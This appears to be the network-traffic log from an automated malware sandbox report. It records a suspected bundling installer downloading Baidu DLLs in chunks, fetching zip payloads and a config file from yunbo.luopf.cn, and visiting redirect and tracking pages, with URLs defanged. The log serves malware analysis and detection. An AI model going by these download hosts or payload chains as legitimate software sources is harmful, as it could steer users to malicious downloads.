Access-Control-Allow-Methods: GET,PUT,POST,DELETE,OPTIONS,HEAD<br><pre>........"...................................@...........]5............<br>......,...............P[..........".......P.......<................<br>...@............8......................................"..............<br>..........................[.......[.......[.."........................<br>................[.."....... ............................... \.."......<br>.L........................................................h..`...(....<br>...........0...............H...P;......................<...P..."...<br>....................................P\......[\......f\......q\......y\<br>.......\.......\.......\.......\.......\.......\.......\..".......L...<br>........................"....................................... ]....<br>..(]......0]......8]......@]......H].."...............................<br>.........].......].......].......].......].......].......].......]....<br>...].......].......^....</pre></font><br><br

<font color="red">GET /client/dllws/BDMNet.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dl1sw.baidu.com<br>

Range: bytes=622592-<br>

Referer: hXXp://dl1sw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.0 206 Partial Content<br>

Expires: Wed, 27 Aug 2014 23:18:00 GMT<br>

Date: Mon, 28 Jul 2014 23:18:00 GMT<br>

Server: nginx<br>

Content-Type: application/octet-stream<br>

Last-Modified: Thu, 10 Apr 2014 08:10:19 GMT<br>

Cache-Control: max-age=2592000<br>

Accept-Ranges: bytes<br>

Content-Range: bytes 622592-1178447/1178448<br>

Content-Length: 555856<br>

Age: 1652554<br>

Via: 1.0 wzpy201:80 (Cdn Cache Server V2.0), 1.0 shiben9:8888 (Cdn Cache Server V2.0)<br>

Connection: close<br>

Content-Disposition: attachment;filename="BDMNet.dll"<br>

Access-Control-Allow-Origin: *<br>

<<< skipped >>>

<font color="red">GET /client/dllw5/BDLogicUtils.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dl1sw.baidu.com<br>

Referer: hXXp://dl1sw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.0 200 OK<br>

Expires: Mon, 08 Sep 2014 06:25:46 GMT<br>

Date: Sat, 09 Aug 2014 06:25:46 GMT<br>

Server: nginx<br>

Content-Type: application/octet-stream<br>

Content-Length: 924496<br>

Last-Modified: Tue, 06 May 2014 06:31:30 GMT<br>

Cache-Control: max-age=2592000<br>

Accept-Ranges: bytes<br>

Age: 676481<br>

Via: 1.0 wzpy220:8080 (Cdn Cache Server V2.0), 1.0 shiben10:10001 (Cdn Cache Server V2.0)<br>

Connection: close<br>

Content-Disposition: attachment;filename="BDLogicUtils.dll"<br>

Access-Control-Allow-Origin: *<br>

<<< skipped >>>

<font color="red">GET /sw-search-sp/client2/ditch/25288850097/BDMZipNewForWs.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dlsw.baidu.com<br>

Range: bytes=19791872-<br>

Referer: hXXp://dlsw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.1 206 Partial Content<br>

Server: JSP3/2.0.0-b<br>

Date: Sun, 17 Aug 2014 02:20:49 GMT<br>

Content-Type: application/x-msdownload<br>

Content-Length: 6212432<br>

Connection: close<br>

ETag: c7062e404128917808756500d58121ee<br>

Last-Modified: Fri, 11 Jul 2014 14:29:11 GMT<br>

Expires: Mon, 18 Aug 2014 15:00:39 GMT<br>

Age: 127210<br>

Content-Range: bytes 19791872-26004303/26004304<br>

Access-Control-Allow-Origin: *<br>

Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE<br>

Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id<br>

Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length<br>

Accept-Ranges: bytes<br>

x-bs-version: DD1C492BA7010AF29AF13DA0A61E68AF<br>

x-bs-request-id: MTAuNDYuMjMxLjQwOjgwODA6MjcwNDI3OTU1MDoyOC9KdWwvMjAxNCAyMzowMDozOCA=<br>

x-bs-meta-crc32: 2839405489<br>

Content-MD5: c7062e404128917808756500d58121ee<br>

<<< skipped >>>

<font color="red">GET /sw-search-sp/client2/ditch/25288850097/BDMZipNewForWs.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dlsw.baidu.com<br>

Range: bytes=20840448-<br>

Referer: hXXp://dlsw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.1 206 Partial Content<br>

Server: JSP3/2.0.0-b<br>

Date: Sun, 17 Aug 2014 02:21:08 GMT<br>

Content-Type: application/x-msdownload<br>

Content-Length: 5163856<br>

Connection: close<br>

ETag: c7062e404128917808756500d58121ee<br>

Last-Modified: Fri, 11 Jul 2014 14:29:11 GMT<br>

Expires: Mon, 18 Aug 2014 15:00:39 GMT<br>

Age: 127229<br>

Content-Range: bytes 20840448-26004303/26004304<br>

Access-Control-Allow-Origin: *<br>

Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE<br>

Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id<br>

Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length<br>

Accept-Ranges: bytes<br>

x-bs-version: DD1C492BA7010AF29AF13DA0A61E68AF<br>

x-bs-request-id: MTAuNDYuMjMxLjQwOjgwODA6MjcwNDI3OTU1MDoyOC9KdWwvMjAxNCAyMzowMDozOCA=<br>

x-bs-meta-crc32: 2839405489<br>

Content-MD5: c7062e404128917808756500d58121ee<br>

<<< skipped >>>

<font color="red">GET /sw-search-sp/client2/ditch/25288850097/BDMZipNewForWs.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dlsw.baidu.com<br>

Range: bytes=21889024-<br>

Referer: hXXp://dlsw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.1 206 Partial Content<br>

Server: JSP3/2.0.0-b<br>

Date: Sun, 17 Aug 2014 02:21:17 GMT<br>

Content-Type: application/x-msdownload<br>

Content-Length: 4115280<br>

Connection: close<br>

ETag: c7062e404128917808756500d58121ee<br>

Last-Modified: Fri, 11 Jul 2014 14:29:11 GMT<br>

Expires: Mon, 18 Aug 2014 15:00:39 GMT<br>

Age: 127238<br>

Content-Range: bytes 21889024-26004303/26004304<br>

Access-Control-Allow-Origin: *<br>

Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE<br>

Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id<br>

Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length<br>

Accept-Ranges: bytes<br>

x-bs-version: DD1C492BA7010AF29AF13DA0A61E68AF<br>

x-bs-request-id: MTAuNDYuMjMxLjQwOjgwODA6MjcwNDI3OTU1MDoyOC9KdWwvMjAxNCAyMzowMDozOCA=<br>

x-bs-meta-crc32: 2839405489<br>

Content-MD5: c7062e404128917808756500d58121ee<br>

<<< skipped >>>

<font color="red">GET /client/dllw5/BDLogicUtils.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dl1sw.baidu.com<br>

Range: bytes=327680-<br>

Referer: hXXp://dl1sw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.0 206 Partial Content<br>

Expires: Mon, 08 Sep 2014 06:25:46 GMT<br>

Date: Sat, 09 Aug 2014 06:25:46 GMT<br>

Server: nginx<br>

Content-Type: application/octet-stream<br>

Last-Modified: Tue, 06 May 2014 06:31:30 GMT<br>

Cache-Control: max-age=2592000<br>

Accept-Ranges: bytes<br>

Content-Range: bytes 327680-924495/924496<br>

Content-Length: 596816<br>

Age: 676482<br>

Via: 1.0 wzpy220:8080 (Cdn Cache Server V2.0), 1.0 shiben10:10001 (Cdn Cache Server V2.0)<br>

Connection: close<br>

Content-Disposition: attachment;filename="BDLogicUtils.dll"<br>

Access-Control-Allow-Origin: *<br>

<<< skipped >>>

<font color="red">GET /sw-search-shadu/client/dllv3/BDMReport.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dlsw.baidu.com<br>

Range: bytes=1114112-<br>

Referer: hXXp://xf.baidu.com<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.1 206 Partial Content<br>

Server: JSP3/2.0.0-b<br>

Date: Sun, 17 Aug 2014 02:20:32 GMT<br>

Content-Type: application/x-msdownload<br>

Content-Length: 93408<br>

Connection: close<br>

ETag: 30cbc602ada7cdfb0346038c05996d84<br>

Last-Modified: Thu, 20 Jun 2013 06:27:51 GMT<br>

Expires: Mon, 18 Aug 2014 14:59:38 GMT<br>

Age: 127254<br>

Content-Range: bytes 1114112-1207519/1207520<br>

Access-Control-Allow-Origin: *<br>

Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE<br>

Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id<br>

Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length<br>

Accept-Ranges: bytes<br>

x-bs-version: 21BEDF37C0B754EE14FE2C8B0543B5C0<br>

x-bs-request-id: MTAuNTguMzQuMTk6ODA4MDoxMzEyMjA1MTYxOjI4L0p1bC8yMDE0IDIyOjU5OjA1IA==<br>

x-bs-meta-crc32: 2965621797<br>

Content-MD5: 30cbc602ada7cdfb0346038c05996d84<br>

x-bs-client-ip: MTgwLjc2LjIyLjExNQ==<br><pre>................................@...........v...@...........j.........<br>..........................".......@...................................<br>........0................... ...@...........J.........................<br>.............."...................................".......(...........<br>......................................................................<br>..................................@...................................<br>................"...................................................".<br>...............................</pre></font><br><br

<font color="red">GET /app.txt HTTP/1.0<br>

Host: yunbo.luopf.cn<br>

User-Agent: NSISDL/1.2 (Mozilla)<br>

Accept: */*<br>

<br>

</font><br><font color="blue">HTTP/1.1 200 OK<br>

Content-Length: 1321<br>

Content-Type: text/plain<br>

Last-Modified: Fri, 25 Jul 2014 03:40:40 GMT<br>

Accept-Ranges: bytes<br>

ETag: "1e984b34baa7cf1:32d"<br>

Server: Microsoft-IIS/6.0<br>

Date: Sun, 17 Aug 2014 02:20:16 GMT<br>

<<< skipped >>>

<font color="red">GET /sw-search-sp/client2/ditch/25288850097/BDMZipNewForWs.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dlsw.baidu.com<br>

Range: bytes=22937600-<br>

Referer: hXXp://dlsw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.1 206 Partial Content<br>

Server: JSP3/2.0.0-b<br>

Date: Sun, 17 Aug 2014 02:21:23 GMT<br>

Content-Type: application/x-msdownload<br>

Content-Length: 3066704<br>

Connection: close<br>

ETag: c7062e404128917808756500d58121ee<br>

Last-Modified: Fri, 11 Jul 2014 14:29:11 GMT<br>

Expires: Mon, 18 Aug 2014 15:00:39 GMT<br>

Age: 127244<br>

Content-Range: bytes 22937600-26004303/26004304<br>

Access-Control-Allow-Origin: *<br>

Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE<br>

Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id<br>

Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length<br>

Accept-Ranges: bytes<br>

x-bs-version: DD1C492BA7010AF29AF13DA0A61E68AF<br>

x-bs-request-id: MTAuNDYuMjMxLjQwOjgwODA6MjcwNDI3OTU1MDoyOC9KdWwvMjAxNCAyMzowMDozOCA=<br>

x-bs-meta-crc32: 2839405489<br>

Content-MD5: c7062e404128917808756500d58121ee<br>

<<< skipped >>>

<font color="red">GET /sw-search-sp/client2/ditch/25288850097/BDMZipNewForWs.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dlsw.baidu.com<br>

Range: bytes=20054016-<br>

Referer: hXXp://dlsw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.1 206 Partial Content<br>

Server: JSP3/2.0.0-b<br>

Date: Sun, 17 Aug 2014 02:20:54 GMT<br>

Content-Type: application/x-msdownload<br>

Content-Length: 5950288<br>

Connection: close<br>

ETag: c7062e404128917808756500d58121ee<br>

Last-Modified: Fri, 11 Jul 2014 14:29:11 GMT<br>

Expires: Mon, 18 Aug 2014 15:00:39 GMT<br>

Age: 127215<br>

Content-Range: bytes 20054016-26004303/26004304<br>

Access-Control-Allow-Origin: *<br>

Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE<br>

Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id<br>

Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length<br>

Accept-Ranges: bytes<br>

x-bs-version: DD1C492BA7010AF29AF13DA0A61E68AF<br>

x-bs-request-id: MTAuNDYuMjMxLjQwOjgwODA6MjcwNDI3OTU1MDoyOC9KdWwvMjAxNCAyMzowMDozOCA=<br>

x-bs-meta-crc32: 2839405489<br>

Content-MD5: c7062e404128917808756500d58121ee<br>

<<< skipped >>>

<font color="red">GET /sw-search-shadu/client/dllv3/BDMReport.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dlsw.baidu.com<br>

Range: bytes=327680-<br>

Referer: hXXp://xf.baidu.com<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.1 206 Partial Content<br>

Server: JSP3/2.0.0-b<br>

Date: Sun, 17 Aug 2014 02:20:31 GMT<br>

Content-Type: application/x-msdownload<br>

Content-Length: 879840<br>

Connection: close<br>

ETag: 30cbc602ada7cdfb0346038c05996d84<br>

Last-Modified: Thu, 20 Jun 2013 06:27:51 GMT<br>

Expires: Mon, 18 Aug 2014 14:59:38 GMT<br>

Age: 127253<br>

Content-Range: bytes 327680-1207519/1207520<br>

Access-Control-Allow-Origin: *<br>

Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE<br>

Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id<br>

Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length<br>

Accept-Ranges: bytes<br>

x-bs-version: 21BEDF37C0B754EE14FE2C8B0543B5C0<br>

x-bs-request-id: MTAuNTguMzQuMTk6ODA4MDoxMzEyMjA1MTYxOjI4L0p1bC8yMDE0IDIyOjU5OjA1IA==<br>

x-bs-meta-crc32: 2965621797<br>

Content-MD5: 30cbc602ada7cdfb0346038c05996d84<br>

<<< skipped >>>

<font color="red">GET /zhibo2.html?id=pczh_107_306.exe&en=2014-8-17&go= HTTP/1.1<br>

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml xml, */*<br>

Accept-Language: en-us<br>

Accept-Encoding: gzip, deflate<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

Host: tv.aiqingzhihui.com<br>

Connection: Keep-Alive<br>

<br>

</font><br><font color="blue">HTTP/1.1 200 OK<br>

Date: Sun, 17 Aug 2014 02:21:21 GMT<br>

Content-Length: 1350<br>

Content-Type: text/html<br>

Last-Modified: Tue, 17 Jun 2014 13:01:31 GMT<br>

Connection: Keep-Alive<br>

ETag: "66d7a7422c8acf1:63d"<br>

Accept-Ranges: bytes<br>

Server: Microsoft-IIS/6.0<br>

X-Powered-By: ASP.NET<br>

<<< skipped >>>

<font color="red">GET /client/dllws/BDMNet.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dl1sw.baidu.com<br>

Range: bytes=950272-<br>

Referer: hXXp://dl1sw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.0 206 Partial Content<br>

Expires: Wed, 27 Aug 2014 23:18:00 GMT<br>

Date: Mon, 28 Jul 2014 23:18:00 GMT<br>

Server: nginx<br>

Content-Type: application/octet-stream<br>

Last-Modified: Thu, 10 Apr 2014 08:10:19 GMT<br>

Cache-Control: max-age=2592000<br>

Accept-Ranges: bytes<br>

Content-Range: bytes 950272-1178447/1178448<br>

Content-Length: 228176<br>

Age: 1652555<br>

Via: 1.0 wzpy201:80 (Cdn Cache Server V2.0), 1.0 shiben9:8888 (Cdn Cache Server V2.0)<br>

Connection: close<br>

Content-Disposition: attachment;filename="BDMNet.dll"<br>

Access-Control-Allow-Origin: *<br>

Access-Control-Allow-Methods: GET,PUT,POST,DELETE,OPTIONS,HEAD<br><pre></pre></font><br><br

<font color="red">GET /pczh_107_306.zip HTTP/1.0<br>

Host: yunbo.luopf.cn<br>

User-Agent: NSISDL/1.2 (Mozilla)<br>

Accept: */*<br>

<br>

</font><br><font color="blue">HTTP/1.1 200 OK<br>

Content-Length: 415552<br>

Content-Type: application/x-zip-compressed<br>

Last-Modified: Sun, 13 Jul 2014 03:35:27 GMT<br>

Accept-Ranges: bytes<br>

ETag: "f81e17d4b9ecf1:32d"<br>

Server: Microsoft-IIS/6.0<br>

Date: Sun, 17 Aug 2014 02:20:30 GMT<br>

<<< skipped >>>

<font color="red">GET /mini/fymini.htm?f=aiqingzhihui&code=null HTTP/1.1<br>

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml xml, */*<br>

Referer: hXXp://tv.aiqingzhihui.com/zhibo2.html?id=pczh_107_306.exe&en=2014-8-17&go=<br>

Accept-Language: en-us<br>

Accept-Encoding: gzip, deflate<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

Host: mini.fengyunzhibo.com<br>

Connection: Keep-Alive<br>

<br>

</font><br><font color="blue">HTTP/1.1 302 Moved Temporarily<br>

Date: Sun, 17 Aug 2014 02:21:19 GMT<br>

Content-Type: text/html;charset=ISO-8859-1<br>

Content-Length: 177<br>

Connection: keep-alive<br>

Location: hXXp://VVV.fengyunzhibo.com<br>

Content-Language: en-US<br>

Accept-Ranges: bytes<br>

Age: 0<br>

X-Cache: miss<br>

Server: eJxLz8/XS8/RNzUuT0/1BgAfuARs<br><pre><html>..<head><title>Document moved</title>&lt<br>;/head>..<body><h1>Document moved</h1>..This docu<br>ment has moved <a href="hXXp://VVV.fengyunzhibo.com">here</a&<br>gt;.<p>..</body>..</html>..HTTP/1.1 302 Moved Tempor<br>arily..Date: Sun, 17 Aug 2014 02:21:19 GMT..Content-Type: text/html;ch<br>arset=ISO-8859-1..Content-Length: 177..Connection: keep-alive..Locatio<br>n: hXXp://VVV.fengyunzhibo.com..Content-Language: en-US..Accept-Ranges<br>: bytes..Age: 0..X-Cache: miss..Server: eJxLz8/XS8/RNzUuT0/1BgAfuARs..<br><html>..<head><title>Document moved</title>&lt<br>;/head>..<body><h1>Document moved</h1>..This docu<br>ment has moved <a href="hXXp://VVV.fengyunzhibo.com">here</a&<br>gt;.<p>..</body>..</html>....</pre></font><br><br

<font color="red">GET /client/dllws/BDMNet.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dl1sw.baidu.com<br>

Range: bytes=819200-<br>

Referer: hXXp://dl1sw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.0 206 Partial Content<br>

Expires: Tue, 09 Sep 2014 15:52:24 GMT<br>

Date: Sun, 10 Aug 2014 15:52:24 GMT<br>

Server: nginx<br>

Content-Type: application/octet-stream<br>

Last-Modified: Thu, 10 Apr 2014 08:10:19 GMT<br>

Cache-Control: max-age=2592000<br>

Accept-Ranges: bytes<br>

Content-Range: bytes 819200-1178447/1178448<br>

Content-Length: 359248<br>

Age: 556090<br>

Via: 1.0 sdytwt89:8104 (Cdn Cache Server V2.0), 1.0 tswt88:8080 (Cdn Cache Server V2.0), 1.0 jg11:51020 (Cdn Cache Server V2.0)<br>

Connection: close<br>

Content-Disposition: attachment;filename="BDMNet.dll"<br>

Access-Control-Allow-Origin: *<br>

<<< skipped >>>

<font color="red">GET /client/dllws/BDMNet.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dl1sw.baidu.com<br>

Range: bytes=950272-<br>

Referer: hXXp://dl1sw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.0 206 Partial Content<br>

Expires: Tue, 09 Sep 2014 15:52:24 GMT<br>

Date: Sun, 10 Aug 2014 15:52:24 GMT<br>

Server: nginx<br>

Content-Type: application/octet-stream<br>

Last-Modified: Thu, 10 Apr 2014 08:10:19 GMT<br>

Cache-Control: max-age=2592000<br>

Accept-Ranges: bytes<br>

Content-Range: bytes 950272-1178447/1178448<br>

Content-Length: 228176<br>

Age: 556091<br>

Via: 1.0 sdytwt89:8104 (Cdn Cache Server V2.0), 1.0 tswt88:8080 (Cdn Cache Server V2.0), 1.0 jg11:51020 (Cdn Cache Server V2.0)<br>

Connection: close<br>

Content-Disposition: attachment;filename="BDMNet.dll"<br>

Access-Control-Allow-Origin: *<br>

Access-Control-Allow-Methods: GET,PUT,POST,DELETE,OPTIONS,HEAD<br><pre></pre></font><br><br

<font color="red">GET /sw-search-sp/client2/ditch/25288850097/BDMZipNewForWs.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dlsw.baidu.com<br>

Referer: hXXp://dlsw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.1 200 OK<br>

Server: JSP3/2.0.0-b<br>

Date: Sun, 17 Aug 2014 02:20:38 GMT<br>

Content-Type: application/x-msdownload<br>

Content-Length: 26004304<br>

Connection: close<br>

ETag: c7062e404128917808756500d58121ee<br>

Last-Modified: Fri, 11 Jul 2014 14:29:11 GMT<br>

Expires: Mon, 18 Aug 2014 15:00:39 GMT<br>

Age: 127199<br>

Access-Control-Allow-Origin: *<br>

Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE<br>

Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id<br>

Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length<br>

Accept-Ranges: bytes<br>

x-bs-version: DD1C492BA7010AF29AF13DA0A61E68AF<br>

x-bs-request-id: MTAuNDYuMjMxLjQwOjgwODA6MjcwNDI3OTU1MDoyOC9KdWwvMjAxNCAyMzowMDozOCA=<br>

x-bs-meta-crc32: 2839405489<br>

Content-MD5: c7062e404128917808756500d58121ee<br>

<<< skipped >>>

<font color="red">GET /sw-search-sp/client2/ditch/25288850097/BDMZipNewForWs.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dlsw.baidu.com<br>

Range: bytes=22151168-<br>

Referer: hXXp://dlsw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.1 206 Partial Content<br>

Server: JSP3/2.0.0-b<br>

Date: Sun, 17 Aug 2014 02:21:18 GMT<br>

Content-Type: application/x-msdownload<br>

Content-Length: 3853136<br>

Connection: close<br>

ETag: c7062e404128917808756500d58121ee<br>

Last-Modified: Fri, 11 Jul 2014 14:29:11 GMT<br>

Expires: Mon, 18 Aug 2014 15:00:39 GMT<br>

Age: 127239<br>

Content-Range: bytes 22151168-26004303/26004304<br>

Access-Control-Allow-Origin: *<br>

Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE<br>

Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id<br>

Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length<br>

Accept-Ranges: bytes<br>

x-bs-version: DD1C492BA7010AF29AF13DA0A61E68AF<br>

x-bs-request-id: MTAuNDYuMjMxLjQwOjgwODA6MjcwNDI3OTU1MDoyOC9KdWwvMjAxNCAyMzowMDozOCA=<br>

x-bs-meta-crc32: 2839405489<br>

Content-MD5: c7062e404128917808756500d58121ee<br>

<<< skipped >>>

<font color="red">GET /guagua_77150006814.zip HTTP/1.0<br>

Host: yunbo.luopf.cn<br>

User-Agent: NSISDL/1.2 (Mozilla)<br>

Accept: */*<br>

<br>

</font><br><font color="blue">HTTP/1.1 200 OK<br>

Content-Length: 921448<br>

Content-Type: application/x-zip-compressed<br>

Last-Modified: Thu, 24 Jul 2014 04:31:48 GMT<br>

Accept-Ranges: bytes<br>

ETag: "76aed22ef8a6cf1:32d"<br>

Server: Microsoft-IIS/6.0<br>

Date: Sun, 17 Aug 2014 02:20:17 GMT<br>

<<< skipped >>>

<font color="red">GET /9.gif?abc=1&rnd=135011660 HTTP/1.1<br>

Accept: */*<br>

Referer: hXXp://tv.aiqingzhihui.com/zhibo2.html?id=pczh_107_306.exe&en=2014-8-17&go=<br>

Accept-Language: en-us<br>

Accept-Encoding: gzip, deflate<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

Host: cnzz.mmstat.com<br>

Connection: Keep-Alive<br>

<br>

</font><br><font color="blue">HTTP/1.1 302 Found<br>

Server: Tengine<br>

Date: Sun, 17 Aug 2014 02:21:26 GMT<br>

Content-Type: image/gif<br>

Content-Length: 43<br>

Connection: keep-alive<br>

P3P: CP="NOI DSP COR CURa ADMa DEVa PSAa PSDa OUR IND UNI PUR NAV"<br>

Set-Cookie: cna=pv92DG xUBsCAcGK9OdTDULL; expires=Wed, 14-Aug-24 02:21:26 GMT; path=/; domain=.mmstat.com<br>

Set-Cookie: sca=c4e7e74b; path=/; domain=.cnzz.mmstat.com<br>

Set-Cookie: atpsida=a967ae7461eeb242201dd034_1408242086; expires=Wed, 14-Aug-24 02:21:26 GMT; path=/; domain=.cnzz.mmstat.com<br>

Location: hXXp://pcookie.cnzz.com/app.gif?&cna=pv92DG xUBsCAcGK9OdTDULL<br>

Expires: Thu, 01 Jan 1970 00:00:01 GMT<br>

Cache-Control: no-cache<br>

